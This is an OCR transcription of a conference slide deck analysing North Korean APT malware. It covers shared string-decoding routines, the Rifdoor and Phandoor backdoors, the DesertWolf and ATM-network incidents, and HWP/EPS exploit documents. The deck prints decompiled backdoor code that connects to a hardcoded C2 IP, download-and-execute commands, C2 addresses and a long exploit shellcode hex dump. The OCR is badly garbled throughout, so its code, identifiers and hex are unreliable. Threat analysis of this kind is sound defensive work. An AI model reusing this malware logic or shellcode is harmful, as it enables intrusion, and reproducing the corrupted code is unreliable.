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>> cat Ashley_Shen

# Senior Threat Analyst

> TeamT5 Inc.Taiwan

> HITCON GIRLS

> Black Hat Asia Review Board

> Tracking APT Attacks & Actors




>> cat Moobeom_Park

# Deputy General Researcher

> TTPA, South Korea
> BoB

> Speaker of TROOPERS, HITCON, Ekoparty,
VXCON

> Tracking NK APT group
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>> Why this talk?
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>> Terrible fact
# Difference in APT Kill Chain

Reconnaissance Deliver

Weaponized




>> The instability of international relation

www.presstv.com
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>> Related Work
# 2013

> Operation Troy — cyber espionage and DDOS
attacks (MaAfee)

# 2016

> Operation Blockbuster — Lazerus group (Novetta)
> From Seoul to Sony (BlueCoat)

# 2017

> Lazarus under the hood - Bluenoroff group
(Kaspersky)

> Campaign Rifle : Andariel, the Maiden of Anguish
(Korea FSI)



>> Revealed DPRK APT Groups
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>> Delivery Method

# Software vulnerabilities
> Developing @ day of specific software
# Watering hole attack

> Deploying exploit on compromised website to
spread payload

# Spear—-phishing email

> Attaching malicious document in the spear-
phishing email to infect targets



>> Adopting Social Engineering in the attacks

# Case: 2016 Compromised Online Shopping Site in South Korea
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>> Trojan Alphanc

# Incorporating OpenSSL library into the file, causing
file size (about 900M)

# Supporting the following commands:

Command Code

A6F60781FEF72C

large



>> Trojan Alphant

# Three C&C servers in configuration

IP
Por

C&C server
Discovered in Sony
Picture
Entertainment

o
/
N

4

----------

i
1
\
C&C Server IP | Country ‘\_'|I

202.137.244.198 (Port 443) l New Zealand

# 2017 Linked to WannaCry Ransomware by Symantec

E Sample C&C server E 0 Download E

2014 SPE 2016 Online
Breach Shopping Site
Breach

Trojan Alphanc

2017 WannaCry
Ransomware



>> The Malwares

# Using both customized version of public
avalilable malware and self-developed malware.

# Reuse shared code (lego) code heavily.

> Shared code are reused among different groups

> 0One of the keys to recognize attacks from DPRK
« Very difficult to correlate with C&C infrastructure

> We called these shared code “legos”! ey



>> The Malwares and Attack Cases

Legol: Multi_Keys_xor Function

LOBYTE{ CL) = Ox82u;
uil3 = v3; Y
u6 = 5; LOBYTE{vS) = 8xD1u;

EDX = BXS56F9u82; _ .
“EnX = BXAFC12058; vi2 = vi;

if ( duSize > 8 ) Ut = BXA2u;
C e = (a1 = outys v15 = Bx44B1DBD1u;
ui12 = duSize; uy = Bx2A6F3B21u;

do
{
*oult = vub _EAX
u6 = u6 & _EAX -
_CL = ({{_EDX
_EAX = ({{_EAX << 7)Y T (_EnAX
out = out + 1;
v9 = ul12—- == ;s
_EDX = ({{_EDX T (8 = EDX)) & Ox7F8) << 20) | (_EDX >> 8);
>
while { tu9 );
out = v13;
u2 = dwuSize;
>
memcpy{ail, out, vZ);
return VirtualFree{out, 8, 0x80800u);

~ ~

{(_ CL 7 =(out + u8));

_CL & (ué ~ _EAX);

(8 * FEDX)) & Ox7F8) <LK 28) | (_EDX >> 8);

~ 8x18 x (_EAX ~ 2 x EAX)) & BXFFFFFF88) << 17) | (_EAX >> 8);

~

>




>> Multi_Keys xor Decode Function

# Frequently used for ORI

XOR_Transform{uvi, duSize);

decode strings and freatuys | LoLarIn;

if ( Kernal32.dll )
APIs K
duSize = 0;
u2 = Base64_Decode(28, "mNHa6D2ZAr¥Ymz1tlzQWn", &duSize);
XOR_Transform{v2, duSize);

H SomEt lme S a p p -l_ lEd xGetStartupInfoR_B = GetProcAddress(Kernald2.dll, v2);

free(uv2);

. duSize = 8;
Wlt h ba S e64 O r ug i ;aseﬁu_Decode(w, "19HPyuwqKFatlin2g=="", &duSize);

XOR_Transform{u3, duSize);
Ot h e I -Leg O S ! dword_416D34 = GetProcAddress{Kernal32.dll, u3);

i free(u3);
duSize = 8;
vl = Base6l4_Decode(16, "mszHzxmKH6E2zGE="", &duSize);
XOR_Transform(vi, duSize);
*ExitProcess_@ = GetProcAddress(Kernal32.dll, vi);
free(uli);
duSize = 0;
u5 = Base64_Decode(28, "mNHa6zuXE6cgzFpuyho="", &duSize);
XOR_Transform(v5, duSize);
*GetProcessHeap_0 = GetProcAddress{Kernal32.dll, v5);
free{uv5);
duSize = 0;




>> The Malwares and Attack Cases

# Lego2: FE_XOR Function

v7 = result;
if ( a3)
{
do
{
*(_BYTE *)(u6 + a4) "= v4 " (unsigned __int8)result;
ug = u5 >> 8;
vl = BYTE3(result) ™ BYTE1(result) & ((unsigned int)result > 16) © u5 & BYTE1{(u5) & (v5 >> 16) * v1B & result;
result = ((unsigned int)result >> 8) | (v9 << 24);
us = (U5 >> 8) | (((v7 “ (unsigned __int16)(2 = v7)) & BOx1FE) K 22);
+HU6;
vild = vi;
v9 = u8 | (((v7 “ (unsigned __int16)(2 = v7)) & Bx1FE) <K 22);
v7 = result;
b
while { v6 < a3 );

}

return result;




>> Encode every strings and loads dynamically

vl = Base64_Decode(16, "1NHc1SyuQ/B9235n", &dwSize);
XOR_Transform(ub, duSize);

Kernal32.d1ll = LoadLibraryA(vB);

free{ui);

if { Kernal32.dll )

{

uSize =_f-

v2 = Base64_Decode(20, ""mNHa6D2ZArYmz1tlzQWn', &dwSize);
XOR_Transform(u2, duSize);

*GetStartupInfoA_B = GetProcAddress(Kernal32.dll, v2);
free(uv2);

dudize = 03

uv3 = Base64_Decode(16, "19HPyuwgKFakn2g==", &duSize);
XOR_Transform(u3, duSize);

dword_u416D34 = GetProcAddress(Kernal32.dll, v3);
free(u3d);

duSize = 8;

vi = Base64_Decode(16, ""mszHzxmKH6E2zGE=", &dwSize);
XOR_Transform(uk, duSize);

*ExitProcess_B8 = GetProcAddress{Kernal32.dll, ui);
free(ul);

duSize = 8;

uv5 = Base64_Decode(20, ""mNHa6zuXEécgzFpuyho=", &dwSize);
XOR_Transform(u5, duSize);

*GetProcessHeap_0 = GetProcAddress(Kernal32.dll, v5);
free(us);

duSize = 8;

v6 = Base6s_Decode(16, "19HPyw2dA7YhBGs=", &dwSize);
XOR_Transform(ué, dwSize);

dword_u#16D2C = GetProcAddress(Kernal32.dll, vé);
free(ud6);

duSize = 83

u7 = Base64_Decode(12, "19HPywiUHKBw", &duSize);
XOR_Transform(u7, dwSize);

dword_u416D28 = GetProcAddress(Kernal32.dll, v7);
free(u?);

duSize = 83

if ( WSAStartup(257, &ui0)
|l (*&SystemTime.wYear = 8,
*&SystemTime .wDay0OflWeek = 09,
*&SystemTime .wHour = 8,
*&SystemTime .wSecond = @,
GetLocalTime(&SystemTime),

e o

uB = Base64_Decode(8, "Su4SWiw=="", &dwSize),// 8080
X0OR Transform{vO, dwSize),

U1 = atoi(uoy,
free(ui),
dword_416D38 > 2) )

{
LABEL_5:
result = 03
S

else

while ¢ 1 )
{
S 8

XOR_Transform{u2, dwSize);

u2 = Baseé64_Decode(16, "64GAjHUWQ+xihyo="", &duSize);// 45.72.3.188

——
HIWORD{v8) = htons(ul);
v9 = inet_addr(v2);
v3 = socket(2, 1, 6);
vl = connect(u3, &u8, 16);
free{u2);
if ( vk = -1 )
break;
++dword_416D38;




>> The Malwares and Attack Cases

H

encode_string length = str_length;
encode_string = Encoded String;
selector = B8;
ug = B8;
result = malloc{str length + 1);
if { result )
{
for { target_str = =*(_BYTE =)encode_string; *{_BYTE =)encode_string; target_str = =({ BYTE =*)encode_string }
{
v? = encode_string length;
encode_string = (signed int *)({char =*)encode string + 1);
--encode_string length;
if ( v9 <= @ || target sty == '=')
break;
if ( target sty == " ")
target <ty = '+° 2
matched value = Table[target_str];




>> The Malwares and Attack Cases

.rdata:08414B894§ ; int16 Table

.rdata: 00414898 Table
.rdata: 80414892
.rdata:-88414B93
.rdata: 80414894
.rdata: 080414895
.rdata: 80414896
.rdata: 88414897
.rdata: 80414898
.rdata: 80414899
.rdata:80414B%9A
.rdata: 080414898
.rdata:8841489C
.rdata:8841489D
.rdata:88414B9E
.rdata:80414B9F
.rdata:80414BA0
.rdata:@8414BA1
.rdata:80414BA2
.rdata:88414BA3
.rdata:88414BAY

BFFFFh
8FFh
8FFh
8FFh
8FFh
8FFh
B8FFh
8FFh
8FFh
8FFh
8FFh
8FFh
8FFh
8FFh
8FFh
8FFh
8FFh
8FFh
8FFh
BFFh

Lego3: TABLE_LOOKUP_Decode Function

Table
=[OxFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xF
F,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF
,OXFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,
OxFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0
XFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0x
FF,0xFF,0xFF,0xFF,0xFF,0xFF,0x3E,0x00,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0x3F,0x00,0x
34,0x00,0x35,0x00,0x36,0x00,0x37,0x00,0x38,0x00,0x39,0x00,0x3A,0x00,0x3B,0x0
0,0x3C,0x00,0x3D,0x00,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0x
FF,0xFF,0xFF,0x00,0x00,0x01,0x00,0x02,0x00,0x03,0x00,0x04,0x00,0x05,0x00,0x06,
0x00,0x07,0x00,0x08,0x00,0x09,0x00,0x0A,0x00,0x0B,0x00,0x0C,0x00,0x0D,0x00,0
x0E,0x00,0x0F,0x00,0x10,0x00,0x11,0x00,0x12,0x00,0x13,0x00,0x14,0x00,0x15,0x0
0,0x16,0x00,0x17,0x00,0x18,0x00,0x19,0x00,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0x
FF,0xFF,0xFF,0xFF,0xFF,0x1A,0x00,0x1B,0x00,0x1C,0x00,0x1D,0x00,0x1E,0x00,0x1F,
0x00,0x20,0x00,0x21,0x00,0x22,0x00,0x23,0x00,0x24,0x00,0x25,0x00,0x26,0x00,0x
27,0x00,0x28,0x00,0%x29,0x00,0x2A,0x00,0x2B,0x00,0x2C,0x00,0x2D,0x00,0x2E,0x0
0,0x2F,0x00,0x30,0x00,0x31,0x00,0x32,0x00,0%x33,0x00,0xFF,0xFF,0xFF,0xFF,0xFF,0
XFF,0xFF,0xFF,0xFF,0xFF]




>> Te Malwares and Attack Cases

|| e = Table[target str];
if ( matched value »>= 8 )
{
switch { selector % 4 )
{
case @8:
*{{ BYTE =)result v} = 4 *= matched value;
break;
case 1:
*#({{_BYTE =)result vb++) |= matched value >> 4;
#({_BYTE =)result vh) = 16 * matched wvalue;
break;
case 2:
*{{ BYTE =)result vb++) |= matched value >> 2;
*#({{_BYTE =)result vh) = { _BYTE)matched walue <<
break;
case 3:
*{{ BYTE =)result vb++) |= matched_wvalue;
break;
default:
break;
¥

++selector;

b

Input String:
"mszHzxmKH6E2zGE="

Output String:
ExitProcess

Input String:
"mNHa6zuXE6cgzFpuyho=""
Output String:
GetProcessHeap




>> The Malwares and Attack Cases

Lego4: S_Hat DECODE Function

ddress Lenagth Type  Sting

rdata: 0041031 000000711 S GetProcessHeap
rdata: 0041031 0000000E S HeapDestray

rdata: 0041031 0000000C 5 Heapblloc
Idata:0041031 0000000E S HeapRetloc

rdata: 0041021 00000008 S HeapFree

rdata: 0041031 00000015 5" GetModuleFileM amed,
adata 0041031 0000000E S DeleteFiled,

rdata; 0041031 0000000F S Createbutexd,

rdata; 0041031 0000000F 5" CreateThread

adata 0041031 0000000E S CreateFiled,
adata:0041031  0000000E S GetFileSize
adata0041031 00000008 5" LockFile

ordata: 0041031 00000016 S W aitForSingleObject
odata 0041031 0000000F S Releasetutes
adata004104] 00000000 S"UnlockFile
rdata:004104]  0000000E 5" ClozeH andle
Idata:004104] 00000013 S 0penFileM appings,
rdata: 0041041 00000015 5" CreateFileM appings,
rdata:004104]  0000001C S InitializeCriticalS ection
.Idata:004104] 00000017
adata004104) 00000017

I-

sprintf{&ve, "%s", "K"A");
memset{byte_ 444608, 8, Ox2BB7u);
if { ={ BYTE =)ul *= 'S* || ={{ BYTE =)ul + 1) t= "'

~
*#{ WORD =)ui;

*#{ WORD =)u1 > BxBB7u )

= 2999;

{unsigned __int16)ul > Bu }

= {int)}{{char =)ul + 2);
{unsigned __ int16)ul;
= BYTE1{u18);
{(int)byte 44408D8;

-~

*( BYTE *)uS++ = u7 ~ ={ BYTE
-—ub;
i
while { v6 );
¥
result = {int)byte 4448DA;

ng

S EnterCriticalS ection
5"LeavelCnticalS ection

[ T v Y T e T v e Y Y e T Y e T e Y s T Y e T Y e T s Y T s Y I v




>>

# OK.. so how do
we going to
do with these
legos?




>> Stories of Three incidents

GHOSTRAT VANATM
L N
—— ———— E—— —— —— E— — — — — — >
2016 Mar Aug 2017 Mar
5&-’;.
L
DESERTWOLF

Operation named by FSI Rifle Campaign Report



>> GHOSTRAT

2016.03

Removed from Release version



>> The Malwares

Gh@st Variant l
Rifdoor (on C&C) :
Hacking Tool for DRM A:___ﬁg _____________
Hacking Tool for DRM B!

Gh@st Origi Variant '

H H= =T T =

I

[ebp+var_1C8], '0° |

[ebp+var_1BF], ‘v’

[ebp+var_1BE], "i’ |
I
I

[ebp+var_1BD], ‘g’
[ebp+var_1BC], ‘i’




>> R1fDoor (aka Rifle)

# Coined Rifle because of the pdb string
E:\Data\My Projects\Troy Source Code\tcplst\rifle\Release\rifle.pdb

# A simple backdoor
# Encode string with xor OF
# Support commands

$downloadexec (download sec.exe)
$internal (sleep)

$download (download file)
$exec (execute command)

V V V V



>> Rifdoor

if ( *lstrcmpA{*={LPCSTR =)comand, "+k xac nkjwjl") )// $dounloadexec
{
if { Downloadexec(*{LPCSTR *){comand + 4), *{LPCSTR *)}{comand + 8)) )// Download sec.exe
{

l1strcpyA(&String, "K'xac'nk/|z11j||");// Douwnload Success

v21 = Xor_F{{int)&String);

1strcatA{{(LPSTR)v21, "\rin");

if sub_461F18() )

{
1strcpyA{&String1, "Jwjlz{f a/|z11j||");// Execuation Succes
v23 = Xor_F{{(int)&String1);
1strcpyA(&String, (LPCSTR)v23);

b

else

{
1strcpyA{&String1, "Jwjlz{f a/infcz}j");// ecution failure
v22 = Xor_F((int)&String1);
1strcatA{&String, (LPCSTR)v22);

b

lstrcatA(&String, "\rin");

u32 = (int)&String;

v2i 1strlenA(&String);




>> DESERTWOLF
# 2016.08

> South Korean Ministry of National Defense (Cyber
Command) announced that North Korean infiltrated
a military network.

> 3200 hosts were compromised, 700 military
intranet.

> 39 samples collected, 20 confirmed linked to NK
groups.

> Cyber command announced that found Shenyang IP
address.



>> The Malwares ’

# Type A Backdoor |

# Type B (Phandoor) : o) oo
# Type C Backdoor B oo
I ks

# Keylogger A

(3]
(3



>> Phandoor

# Loading API dynamically with Lego4

= g;

a;
sub_401D40(""'S"Kernel32.d11");
LoadLibraryA{{LPCSTR)uB);
ul )

u2 = suh_uB1DhB(“S“HeapCreate");

dword_413E90 = (int)GetProcAddress{uvi, (LPCSTR)u2);
u3 = sub_u81DhB("S“GetProcessHeap");

dword_413E34 = (int)GetProcAddress(ui, (LPCSTR)u3);
vl = sub_481D40("'S"HeapDestroy™);

dword_413E84 = (int)GetProcAddress(uil, (LPCSTR)ui);
uS5 = sub_461D48("'S"HeapAlloc");

dword_413F34 = (int)GetProcAddress{ui, (LPCSTR)uS5);
uGg = sub_uB1DuB("S“HeapRenlloc");

dword_413F4C = (int)GetProcAddress(uil, (LPCSTR)u6);
vy = suh_hB1DhB("S“HeapFree");

dword_413EA8 = (int)GetProcAddress{uvi, (LPCSTR)u7);
ug = sub_u810h8("S“GetModuleFileNamen");

dword 413F24 = (int)GetProcAddress{ul LPCSTR)uS8




>> Phandoor

> Upon execution,
getting victim IP
address with
GetAdaptorInfo
and encode it.

Sending encode IP

address & MAC
address with a
special string
“Anonymous” to
test C&C server
connection.

Anonymous_String = {const char *)Decode_String("S‘nnonymous?");
strcpy_s(&Dst, Bx1Bu, Anonymous String); /7 Dst=12FE9C

strcat_s{&Dst, 8x1Bu, Victim IP2); /7 BO12FE9C 41 6E 6F 6E 79 6D 6F 75
/7 BO12FEA4 73 3F 31 39 32 2E 31 36
// BO12FEAC 38 2E 31 32 30 2E 31 34

0612FEB4 33

if ( Sending_Victim_Data{®, 6x1Au, 1, 8, &Dst) == -1 )
{
v2 = WSAGetLastError();
printf("Socket error : %d", v2);
return 0;
b
if ( Receive_C2_Data(fd) ==
return 0;
I -1 - lmf\

FE_xUR_FunEtion(dword_
5 B duios-d LA T IT . N

us Decode_String{"'S"Anonymous?");
ub &unk_4240B6;
while { *{ DWORD =)u6 == %{ DWORD *)u5 ) // decode_received_data
{
vl —= 4;
uS += 43
u6 = {(char =*)us + 4;
if (va < 4)
{

Anonymou
5?7192.16
8.128.14
3

if ( *( BYTE x)u5 == %( BYTE *)ué && *( BYTE *)(u5 + 1) == %({ BYTE *)u6 + 1) )

return 1;
return 8;
}
b
b

return 0;




>> Phandoor

> Attacker tailored
this trojan for
different cases.
The supported
functions vary
across different
incidents.

Backdoor Command

Functions

Get disk information or

search file

Close connection and

reconnect

Copy and move nehomegpa.dll
to another path

Search file



>> \/ANATM

# 2017.03

>

>

Attacker attacks an ATM service provider

Compromised internal network with Antivirus
vaccine update server (VMS).

Lateral movement was taken to compromised ATM
management server connected with the VMS server.

More than 600 ATM machines were infected with
RAT and keylogger

Malware connects to same C2 discovered 1in
DesertWolf case



>> \/ANATM

Removed from Release version



>> The Malwares ’

# Rifdoor :__ _____________
# GhOst :

# Hacking Tool (Sniffer)! &
# Keylogger A :__ _______ ___
# Trojan D l



>> Links different campaign with Legos

- o

~~ DESERTWOLF -~ same Keylogger

Same C&C server



>> The Malwares and Attack Cases

# Other TTP on
binaries

> PACKERS'!
PACKERS'!
PACKERS'!

> Love VMP
(Feel the
pain!!)

> Aspacker, upx,
Armadillo

v1l.71,Themid
a

B05431A8 |
885431AD
B05431AE
80543180
80543180
80543180
80543180
80543180
80543160
80543180
80543180
80543180
80543160
80543180
80543180
80543180
80543180

dw 3328h

dd 3D2AFDO8h, BASBBDIEYh, BDY4ATF91h, 36761
dd BE94BDD7h, 8D7YC2C2%h, BAFC3CHSER, 454F90
dd 8121D8ADh, BCABD25DBh, BF36776DBh, BBCDC
dd BEBCO2F74h, 10AF1424h, 8BD906DGH, 4BASGH
dd 3B323BA%h, BA4FEFCBYh, 736048A5h, BE4SD
dd BFABSBCH8h, S98DA2ATH, BC753ESSh, BDO7BE
dd 280092A6h, 84D2F1Fh, BF7F2B95Ch, 22D2C5Y
dd 8593F9D9h, 53118A208h, GBEBOOBI2h, SFCEC
dd 8FC521E4h, S2AECC8Bh, 117863CCh, 8DDEFCE
dd 8C4A10A22h, 6OB8949Dh, 28B21D8Fh, BCDCS
dd 542E37E6h, 2544F6ASh, 77712F97h, TAGA25D
dd 5D43EC68h, 3BBBF934h, 2CDF34D%h, OBED4BS
dd BAF38BFDDh, BCYBCAEFAh, BFD8BABGER, BCFB
dd 9C21C5ADh, 45863BEBh, 79284921h, OBS64D




>> The Malwares and Attack Cases

# Other TTP on
binaries

> Encode every strings
and loads dynamically

> Sometimes encode
twice'!

if { _Kernal32.dll )
{
dwSize = B;
v2 = {char =)Decode_Function{16, {signed int =)"/6gSGIlajcDxQB81Kw", {(int)&dusize)};
Multi_Key XOR{v2, duSize);
CreateThread = (int {_ stdcall =){_DWORD, DWORD, DWORD, DWORD, DWORD, DWORD))

free{v2);

duSize = 8;

v3 = {char =)Decode_Function{12, {signed int =)"8bUBHLSvSDFj", {int)&duSize);
Multi_ Key XOR{v3, duSize);

MoveFileA = (int)GetProcAddress{ Kernal32.dll, v3};

free{vi);

v122 = @83
v121 = @3

vi20 = 083

vl = sub_481D48("S"Kernel32.d11");
v1 = LoadLibraryA{(LPCSTR)uB);

if ( vl )

u2 = sub_k91Dhﬁ("S“HeapCreate");

dword_413E98 = (int)GetProcAddress(ul, (LPCSTR)u2);
U3 = sub_481D48("'S"GetProcessHeap");

dword_413E34 = (int)GetProcAddress(uil, (LPCSTR)u3);
uls = sub_481D48("'S"HeapDestroy");

dword_413E84 = (int)GetProcAddress(ul, (LPCSTR)ui);
u5 = sub_481D48(""S"HeapAlloc™);

dword_413F34 = (int)GetProcAddress(uil, (LPCSTR)uS5);
uh = sub_u01DMB(“S“HeapRenlloc“);

dword_413F4C = (int)GetProcAddress(ul, (LPCSTR)u6);
u7y = sub_uB1DhB("S“HeapFree");

dword_413EA8 = (int)GetProcAddress(ul, (LPCSTR)u7);
U8 = sub_4081D48("'S"GetHoduleFileNameA');
dword_413F24 = (int)GetProcAddress(uil, (LPCSTR)u8);
v9 = sub_481D48('S"DeleteFileA™);

dword_413E3C = (int)GetProcAddress(ul, (LPCSTR)u9);
vig = suh_uB1Dh0("S“CreateMutexﬂ");

dword_413DDC = (int)GetProcAddress(ui, (LPCSTR)u10);
vil = sub_uB1DuB(“S“CreateThread“);

dword_413ECB = (int)GetProcAddress(ul, (LPCSTR)ui1);
U12 = sub_481D48("'S"CreateFileA™);

dword_413E68 = (int)GetProcAddress(ul, (LPCSTR)u12);
vil3 = sub_uﬂ1Dun("S‘GetFileSize");

dword_413E24 = (int)GetProcAddress(ui, (LPCSTR)u13);
u1l4 = sub_481D48("'S"LockFile");

dword_413E28 = (int)GetProcAddress(ui, (LPCSTR)ui4);
u15 = sub_481D48("S"WaitForSingleObject™);
dword_413EBC = (int)GetProcAddress(ui, (LPCSTR)u15);
vis = sub_uB1DuB(“S“Releaseﬂutex“);

dword_413E88 = (int)GetProcAddress{ul, (LPCSTR)u16);




>> DMC Webshell (Proprietary tool)

Removed from Release version



>> DMC Webshell (Proprietary tool)

Removed from Release version



>> DMC Webshell (Proprietary tool)

Removed from Release version



>> DMC Webshell (Proprietary tool)

Removed from Release version



>> AGENDA

# Why this talk?

# Related Work

# The Legos, Malwares and Attack Cases
# The Exploit and Attack Cases

# Takeaways

# QGA



>> Exploits of malicious documents

# HWP exploit documents

> Hangul Word Processor (HWP) 1is a proprietary
word processing application published by the
South Korean company Hancom Inc.

> The most popular word processor in South Korea.
(similar to Ichitaro in Japan)

> Attacker deployed HWP exploit documents in
attacks targeting Korea individual/organization.



>> Exploits of malicious documents

CVE 2013-0808

> EPS Viewer
buffer
overf low
vulnerability

> Trigger by
Ghostscript

in HWP
(Hangul word)
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5B5BSB B5B5B5B5B5B5B5B5B5B5B5B5B5B5B5B5B5B5B5B5B5B5B5B585B5B5B5B5B5B5B5B5B5B5B5B 5BS5B5B5B5B5B5B5B5B5B5B5B5B5B5BSB
5B5BSB B5B5B5B5B5BSB! 5B5B5B5B5B5B5B5B5B5B5B5B5B5B5B5B
5B5BSB B5B5B5BS5B5BSB! 5B5B5B5B5B5B5B5B5B5B5B5B5B5B5B5B
5B5BSB B5B5B5BS5B5BS5BSB585B585B5B5B58568568585858585B5B5B5858568585858585856585858585B5B5B5B5B5B5B5B5B5B5B5B5B5B5B58
5B5B5B 090909090909090999QEbCQQCCOOu3EB9 614130181E96814130103F183C6023E8A06349046B9/E18130181E9391413013E5006404985F
90075F 390 '7F7:95“h9<*4’7Hh9<909\HSlDDUQAHSlDDUbAHSlDChQEHBl EEBABEA81D96E3641D5455C31D7ACOC1AQIDE39EAS69A5566A3A1256E291575
99B956E 6ZlD§lCCC8CB§ 9296C31D7AC5COC1FHAQ1DEBSAARIDFBOEA@IDD3AAAGIDC2BEEESS43A81DDCSEA81IDCCB6954B75A6DFA81DA21D9563C7C5C1CO7E3ER
96969C9 E371A81DCCB2954BFOA81D9ADDAB1DCCBA954BA81D921D95537D932E97969696A01FD2B28AF7CIC8CDCB549E96C31D7A157A86C5CO1D66FEQAL
38CF8CO7 E15\396969FEZTFCJ\E‘:-ECwAOlFDBC_7EE2695969FE45q 2BE4C@AQ1FD3627EF3696969FE26DFBBADCOARLFD3667ECO696969FCDE6FE96869696A01FD36A
B1196979696C6A54DC5A069E39EABG9C36E1D66AD65SE2ARQFC82AB69C36AC5C1ARG9E39ACOARGIE3IEALL 21356E28BFCA4ARG _"CQtJCCxOCDLQ-QC”
069C36613 56 DH7DQ4A555C8CD5F55C41D l/7HHE97959‘CDcncllDQHFE:ElehEAH34DC' il
©51D37AFFFAF396A@51D35ACACEF

3627E17686969FEF 3-F77C—CuA@l D“oszE4honosF

5567DDFFC93CFC5FE16969

9C COAB69C36EABLIDD36 CQCSCDDFRDC 1D7 l/7AA49 9oq“C3C“CllDﬁh7E/Dﬁ C9D9H31F3 l*:ﬂ9Q120hQ£°69e

D6E7 ZSGEZJGgFEhDOlGB9 CO1DAE7E276B6969FE26DFBBADCRAGLIFD3627E34

COAQ1FD36E 7EOSRQ”°0°FC9 FCQ

E97969669411D66156869E2A7FCF2AR69C36E7D80AR69C3661B137A686969C 36AE28C1B135E686

8CD5F55A556D67D60C31D7A177A5E969696C1FC87A556CF1BEB3245 :“P‘QEQ7‘““*n““frc“ii"xﬂAJHQEDQE 3DA thAﬂlev; D2969696A0 9¢
FD3427E6C6A69691BDB7AC71BDB32C7A55FC7C7C7C7C7C71B03A A 88 JE F-HO:ll?DZC9h 6
946614E8D56A0E 3" CS‘?FJDC’lD7A1572QECSC1FEE84E74E§C Shel.LCOde 6 E3B2FESES
07ED66969 AQ1DEBOAC61DSO7ESBBABOG - Li L Lo0oo=oLoli/ SLoooL31D7A ABABI69 ] 96969696C82FE8BE859

7177FADSE 67A55F ASlC 0A2061C76DOF OAB1DIBFOASSE 1 550941487 ABAGOODF DO156F 96E 368A01DE 36ACS7EC16969691552B2A556CDSF 5506061124826
981818181DF 3 93C1818270024783BFOB87B511C7384494C18100684193C181BFB187C7C8027881F4776A821111EF96D57D7F7F 1BDEAF7F 7F 7F4
IFA3F7341FA3F6341F 42F7741FFO7636741F A7FOABDF ABDBC2AF 493292849F 40A774C80ACBF 83D3FBEF 0B78BEB0727C87948EF 43820212 2BD7B7F 2AF 4932029281

49F4027349F4127749F43A4349F42B57077CAAA1FA356741FA255F 7CA29CAF 3641 FAABFA7C8A2E2C282997D730808020242644B80A9841F425567CA21941FA733
441F425637CA241FA7BF47CBASATACT7E7F7F7FA9F63B5B631E20212422BD777F 2AFA93FE932F 7B7F 7F2928F48F17F13171932997F F8080801790B19F 1F 29F 4879
70C80808017CF3652A4299717808080175C84EE882949F 6348797 2680808049F 63A83F 23AAF 2F A9BB3AAF0816111649B83AAB111A0B5149B83AA71813137F80ASF
48FAC8044880A784CBF967C7ETF7F2C1756389728299763808080173692700129F4A7977080808017F4349C2029 97977F80308017B816E4852949F63A93
BB L8080282828282849F 6348F AC8949B83ACF SELC1CLALBEACBOFOBSSF 4988 IAC 75550557 249852 A5 LU S U AT Q622084440080 145802483157
549802A8728177F 7F 7F 7B1570F 23ACF 2F49800A772C49802A9749F 63A8744B80A782C49802A8F 942 l%aoaacp FACF848080096
049F6028341F57749F42A7341F7734D393F49803A8349F 43283 94_vzbeﬁ09AF274882F2cthcsz{ Ghostscript F44CBF946D49800A87498
02ABF 49800AIBA9BO2ABF F4B9242021B6BC2AF 4932E2C2928172BB5DOEEAIB00A779773818080153  ~ymmandc 9FC1A837F157BFA8F204
9F43A772949800A73973381808026264CB6F4ABD77COAG1FABFOBG541F46144B80175414C73697CAS _BRFABFOA7549803A83494
6028303C54946028308757C3849F 60A8349802A83202124B6BC2AF493292897338280802F977F 7F7F /R ZITN, I TEYSIABAST eS¢ 41F 46B71F EBSEFEFEFEFO
ABC7CBEFCBI7BA1F5793941F569394CB6414F787181BEA5B50AB9F 24927292F9755808080204CBF 2186BCEFEn,  JC3E9ABB7B7B3F9ECECBABABAEDAGB7ABA2ADE
3BGALAF AABOABAAADAEDABACAEEC! "B?."-B»‘I\Z-'DB’B"‘1AFAi30ABAAADﬂ.LEC33»’2'83E;AI\B‘-"«EBBECB?-«:AEBE»‘I\:AZB?}&‘DECA,--c»-\:>~2Bb--FBTZCH--—-C»—\E~1A@BlEC‘-’\2A8£‘-

C

@ACBGADB7 EA2ADA2AAAGECB7ABA2AGBEB3EDAIB3A40909090909090909  det 5091 /A1 65535 string dup © D40 putinterval def Al}repeat}def A/




>> Exploits of malicious documents

# CVE 2017-0621

> EPS restore Use-After-Free

> Applied frequently in recent attacks targeting
financial industry in South Korea by Bluenoroff.

« Targeting a lot of Bitcoin companies recently.
> No alert and error would be trigger during
exploitation.
> Triggering in HWP files.



2280 2 CreateFile

280 Bk QueryBasicInfo...

280 B CloseFile
280 Bk CreateFile
220 B\ QuexyDivectory
280 B CloseFile
2280 B CreateFile

280 B\ QueryBasicInfor...

280 B CloseFile
2280 Bk CreateFile
220 B\ QueryDivectory
220 Bk CloseFile
2280 B\ CreateFile

220 B\ QueryBasichnfor...

280 B CloseFile
2280 Bk CreateFile
220 B\ QueryDivectory
220 Bk CloseFile
2280 Bk CreateFile

220 "1 QueryBasicInfor...

2280 # RegQueryKey
280 @ RegOpenKey
2280 Bk CreateFile

280 B\ QuenyBasichnfor...

280 B, CloseFile

>> A Recent Sample

CAUseps\dmin\AppDataiLocal’ Temp Hne \BinData \EMBOOO00998594d PR
C\Users\ddmin\ppData\Locall Ternp\Hne \BinData \EMBOOOO0998594d P8
C\Users\ddmin\ppDataiLocall Ternp\Hne \BinData \EMBOOOO0998594d PR
C\Users\ddmin\ippData\Locall Temp\Hne \BinDats,
CAUsers\dmin\ppDataiLocall TerpiHne \BinData \EMBOOOO09R594d PR
CAUsers\dmin\AppData\Locall Terp\Hne\BinDats.
C:AUseps\dmin\AppDataiLocal’ Temp Hne \BinData \EMBOOO00298594d PR
